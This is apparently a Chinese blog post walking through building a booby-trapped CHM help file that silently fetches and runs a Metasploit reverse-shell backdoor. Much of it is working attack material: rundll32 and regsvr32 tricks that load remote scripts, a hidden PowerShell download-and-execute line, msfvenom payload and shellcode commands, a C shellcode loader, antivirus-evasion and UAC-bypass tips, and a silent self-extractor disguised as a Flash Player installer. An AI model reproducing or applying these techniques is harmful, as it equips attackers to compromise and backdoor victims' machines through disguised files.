某日嶽兄激动的说他的chm自动反弹shell做好了,急匆匆的拿我们测试,结果…一定是出bug了,我看了下演示(对不起,我实在编不下去了)。文章给出最终版代码,测试的心酸撸主右手可以作证。

第一章 CHM社工

当ithurricanept在发twitter的时候估计我在东北玩泥巴,看了Demo吓得我赶紧注册了个twitter并且Follow了TA。

Clipboard Image.png

Demo代码应该是这样的:

 

打开该CHM文件即弹出计算器,之后Samratashok也推出了他的Out-CHM(使用参数HHCPath指定自己的hhc路径),使用CHM执行powershell脚本,但唯一不足就是会弹出黑框。

PS D:\nishang\Client> Import-Module.\Out-CHM.ps1

PS D:\nishang\Client> get-help Out-CHM -examples

PS D:\nishang\Client >Out-CHM-PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath " C:\ProgramFiles (x86)\HTML Help Workshop"

Clipboard Image.png

##反编译CHM

hh -decompile test doc.chm

##Out-CHM PAYLOAD

 

##有用链接

ithurricanept

https://twitter.com/ithurricanept/status/534993743196090368

HTML Help Workshop

http://www.microsoft.com/en-us/download/details.aspx?id=21138

nishang

https://github.com/samratashok/nishang

第二章讨厌的黑框

nishang的黑框真的很让人捉急,不知道他找到解决办法了没,但是国内聪明的Evi1cg在某个晚上突然就想到了,反正他是这么说的。

通过rundll32.exe执行js

rundll32.exejavascript:"..\mshtml,RunHTMLApplication ";alert('foo');
Clipboard Image.png

Rundll32漏洞配合JSRAT做出了近乎完美的后门,写入注册表即可实现开机启动。

注册脚本组件

regsvr32.exe /u /n /s/i:http://10.10.10.10:31337/file.sct scrobj.dll
##有用链接

evi1cg

http://evi1cg.me/archives/chm_backdoor.html

从恶意软件获得的新姿势—通过rundll32.exe执行js原理详细分析

http://bobao.360.cn/learning/detail/164.html

JSRat

https://github.com/Hood3dRob1n/JSRat-Py

第三章强大的Powershell

但是我只想用它来下载一个后门并执行,于是乎开始了各种折腾。首先测试powershell的下载执行,然后嵌入rundll32测试,最后生成CHM再测试。

##Powershell下载并执行

powershell -WindowStyle hidden -nologo -noprofile-ep bypass IEX(New-Object Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx/sn.exe','..\sn.exe');&cmd/c ..\sn.exe
Powershell的下载可谓是五花八门,最后我还是选择了常用的DownloadFile(),将文件下载到上层目录(当C:\没有权限时powershell就会将文件直接下载到用户当前目录下;env:\temp环境变量在低版本powershell中没有;start-process -nonewwindow ‘sn.exe’似乎不等待下载完成便会调用),并通过&符号连接命令运行下载的程序。

##嵌入rundll32

rundll32.exe,javascript:"..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile("http://139...*/sn.exe","..\sn.exe");&cmd/c ..\sn.exe",0,true);
##生成CHM

 

单双引号真的会把人逼疯的,在CHM中需用’代替双引号,尝试使用base64编码powershell命令,但是嵌入rundll32测试语法错误,一时无解。

##有用链接

第四章 msf后门升级

CHM做好了,下面制作后门。开始选用新版cobaltstrike的DNS上线,结果域名测试都没问题,生的的马儿就是不上线,无奈放弃。最后选择msf的reverse_tcp。

生成马儿

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcplhost=192.168.6.12 lport=80 EXITFUNC=thread -e x86/shikata_ga_nai -b '\x00' -i3 -f exe -o /tmp/bdoor.exe
生成shellcode

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.6.12 lport=80 -e x86/shikata_ga_nai -b'\x00' -i 3 -f c
##免杀

OWASP-ZSC

可以生成下载执行,添加用户,创建文件等的shellcode;

听说你可以混淆代码,原来只支持javascript perl php python ruby,更别说混淆现有shellcode了;

https://github.com/zscproject/OWASP-ZSC

Veil-Evasion

使用现有payload一键生成可执行文件。有c,python,go,ruby的meterpreter反弹后门,go和python生成的可执行文件高大4M,还不如自己使用python ctypes加载shellcode,生成exe,实用价值不大。

Veil-Evasion

C加载shellcode

传说中的C语言执行shellcode的五种方法只能在VC6.0下通过,VS用户真的伤不起。

VC6.0

main(){

( (void(*)(void))&shellcode )();

}

VS下

#include

#include

#include

unsigned char shellcode2[] =

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff";

int main(){

PVOIDp;

p= VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);

if(p != NULL){

//printf("allocok");

if(memcpy(p,shellcode,sizeof(shellcode))){

//printf("cpok");

//CreateThread(NULL,0, (LPTHREAD_START_ROUTINE )p, NULL, 0, NULL);

__asm

{

moveax,p;

jmpeax;

}

}

}

}

话说前两天有人发了(TM后来360也杀了),别紧张,那不是我。msf后面免杀方式多样,但一般也不外乎以下几点。

1,静态文件特征免杀

msfvenom -l encoders提供了多种编码方式,x86/shikata_ga_nai仍是目前excellent。但你一定会喜欢上Unest二进制代码混淆器的。

2,行为查杀

Cobaltstrike http上线方式请求的页面有固定格式,msf对传输的数据可以异或或者加密。

3,内存查杀

其后我将其做成管理员组用户执行直接绕过UAC自动安装成服务,启动延时3分钟(主要是开机的时候可能还没网,连接不成功便会结束程序),在执行绕UAC时system(“cmd.exe /c eventvwr.exe”);时有黑框,使用CreateProcess API创建这个进程。http://www.virustotal.com扫描仅F-PROT报毒(这应该是个梗)。

Clipboard Image.png

使用自解压程序安装服务

话说360看到是自解压程序就杀,果然是这样的。

##自解压程序折腾之静默模式

1, 首先能想到的就是winrar,但是winrar自解压换个ico你都杀,一会儿杀一会儿不杀的尿性始终没变;

2, 只要是加UPX壳就杀;

3, IExpress 打包啥都杀;

4, 7-ZIP SFX 自解压;

5, makesfx.exe 新版真心好用,测试一会儿直接杀;

6, ZIP 2 Secure EXE 用起来满满的心累;

7, WinZip Self-Extractor 完成后必须弹框是什么意思?

8, 其他方式
最后还是选用rar的自解压,下载英文版各版本winrar,安装后复制里面的Default.SFX和rar.exe保存,使用不通的rar版本生成自解压程序。

##自解压文件制作

创建Silent.sfx静默安装配置文件,其实就是注释啦。

程序传入bypass参数绕过UAC并安装服务

Setup=wdevmtsvc.exe bypass

TempMode

Silent=1

Overwrite=2

命令行生成自解压文件

rar.exe a -r -ep1 -sfx-zSilent.sfx flashplayer23_ha_install.exe wdevmtsvc.exe
我以为到这里就完了,结果…

##有用链接

Creating a Self-Extracting Setup ExecutableFile

https://msdn.microsoft.com/en-us/library/aa244282%28v=vs.60%29.aspx

makesfx

http://74.cz/en/make-sfx/index.php

Windows-Services-Application

https://github.com/ru0/Windows-Services-Application

第五章 WSC

朋友说吓了一大跳,等了半天也没见上线。再次本地测试,发现powershell被360卫士给拦截了,尼玛,这是啥时候开始的?无奈,为了过360只能抛弃powershell下载,使用wsc下载执行。

Clipboard Image.png

Windows Script Components (WSC),以前称为Scriplets,是一种以容易的方式开发强大的COM组件的技术。 WSC可以用任何实现了ActiveX脚本接口的脚本语言来编写,这意味着PerlScript代码单元可以封装为Windows脚本组件。

Tips:当你开始看WSC的时候可能会被它繁多的标签搞得云里雾里,你可以使用scriptwz.exe向导生成wsc文件,或者过一阵子再看。

##通过wsc启动计算器

test.wsc文件

 

 

 

1.js文件

GetObject("script:C:\test.wsc");
执行js

cscript 1.js
Clipboard Image.png

加载远程wsc,当然你也可以将下载js代码写在CHM里面,不过使用wsc代码更简洁并且可以及时更新下载程序。

GetObject("script:http://xxx.xxx.xxx.xxx/test.wsc")
##下载并执行wsc脚本

 

 

 

 

##嵌入rundll32中

rundll32.exe javascript:"..\mshtml,RunHTMLApplication";document.write();GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc");
##CHM PAYLOAD

<PARAMname="Button" value="Bitmap::shortcut"> 

用我改版的makeCHM.ps1直接生成CHM文件

.\makeCHM.ps1 -FileName test.htm

实际打点效果(windows/shell/reverse_tcp 连接容易失去响应)

Clipboard Image.png

##有用链接

Windows Script Components (WSC)

http://www.xav.com/perl/Windows/windows_script_components.html

Registering a Script Component

https://msdn.microsoft.com/en-us/library/zt97f40t%28v=vs.84%29.aspx

ru0 s github

https://github.com/ru0

1,如何对CHM后门检测。

2,msf虽然简单易用,但是没有会话控制,很容易丢失目标,后期可以考虑自写回连shell代码。

3,对于“没给钱”的服务360卫士检测为“无需启动的程序”。

4,自解压逃不过360sd,考虑自写解压程序或者修改服务程序。

5,若有纰漏,还望指正。